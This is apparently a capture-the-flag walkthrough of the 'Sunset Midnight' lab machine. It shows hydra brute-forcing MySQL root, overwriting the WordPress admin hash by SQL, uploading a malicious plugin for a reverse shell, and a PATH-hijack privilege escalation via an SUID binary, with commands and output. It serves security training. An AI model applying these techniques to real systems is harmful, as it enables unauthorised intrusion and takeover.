Add the machine IP to map to sunset-midnight in /etc/hosts.
After making the above changes when browsing to port 80 we come to a WordPress page.
After scanning with WPScan I was unable to proceed with the found admin accout. Instead turning our attention to MySQL which we find does not block remote connections we can begin to brute force the root account.
┌──(kali㉿puckie)-[~/offsec/SunsetMidnight] └─$ hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.161.88 mysql -t 16 Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-10 04:59:00 [INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections) [DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task [DATA] attacking mysql://192.168.161.88:3306/ [mysql] host: 192.168.161.88 login: root password: robert 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 3 final worker threads did not complete until end. [ERROR] 3 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-10 04:59:17 ┌──(kali㉿puckie)-[~/offsec/SunsetMidnight]
From here we can list databases then select the WordPress database and extract information from the wp_users table.
We now have the admin hash of:
$P$BaWk4oeAmrdn453hR6O6BvDqoF9yy6/ I tried cracking with
hashcat using rockyou.txt and had no lucky. Luckily we are root on this session so we can actually update the table and change the password to something that we know.
The following website can be used to generate a has for wordpress: https://www.useotools.com/wordpress-password-hash-generator/output.
Or we translate a password into MD5 hash format. I’m going with pass123. This is favorite for these types of hacks.
echo -n “pass123” | md5sum;echo “”
MariaDB [wordpress_db]> UPDATE wp_users SET user_pass="32250170a0dca92d53ec9624f336ca24" WHERE ID=1; Query OK, 1 row affected (0.101 sec) Rows matched: 1 Changed: 1 Warnings: 0
If you look at the database, we have ID 1 being the admin user. We use the user_pass to change the password and then commit. Pretty simple SQL command.
Now let’s try to log into the WordPress site.
We can then move to the /wp-admin/ directory on the webserver and login with our new credentials.
From here we are going to upload a malicious plug-in that will give us a reverse shell. We will be using wordpwn.py to achieve this: https://github.com/wetw0rk/malicious-wordpress-plugin.
After download run the scripts as per instructions on the GitHub page and then once created upload the malicious.zip over at: http://sunset-midnight/wp-admin/plugin-install.php.
Once uploaded activate the plug-in on the plug-in page then browse to the following to execute: http://sunset-midnight/wp-content/plugins/malicious/wetw0rk_maybe.php.
We are now ‘www-data’.
Manually enumerating the target machine we know WordPress is installed and as such the wp-config.php exists.
Reading the contents of wp-config.php gives us credentials for the user jose.
Whilst the password does look like a MD5 its important to note that this file the credentials are normally stored in plaintext. Given this we can attempt to switch to the jose user with these.
From here wen can use
ssh-keygen to create a RSA key so we can then sign in with SSH for a much more usable shell.
Keep hitting enter until the key is generated. Once done so copy the contents of the key from
/home/jose/.ssh/id_rsa over to the attacking machine.
We can then use the following command to set the correct permissions on key on the attacking machine:
Then login as jose over SSH.
┌──(kali㉿puckie)-[~/offsec/SunsetMidnight] └─$ ssh -i id_rsa jose@sunset-midnight jose@sunset-midnight's password: 645dc5a8871d2a4269d4cbe23f6ae103 Linux midnight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Sep 10 04:09:42 2021 from 192.168.49.161 jose@midnight:~$
linpeas on the target shows the binary /usr/bin/status has the SUID bit set.
Running strings on the binary
Looks like the binary is trying to run ‘service’ without the full path of the binary. Knowing this we can create a malicious service binary and export the path so our malicious binary is executed first.
In the home directory of jose run the following:
touch service echo '/bin/sh' > service chmod 755 service
Once completed export the new path where /home/jose: is the starting path.
Once completed execute status and we should land a root shell.
jose@midnight:~$ /usr/bin/status # id uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),1000(jose) # hostnamectl Static hostname: midnight Icon name: computer-vm Chassis: vm Machine ID: 83299014c4ba465d83a35a7f3ef5b1f4 Boot ID: 739b4a76c8cd419ba160e7c4652e376d Virtualization: vmware Operating System: Debian GNU/Linux 10 (buster) Kernel: Linux 4.19.0-9-amd64 Architecture: x86-64 #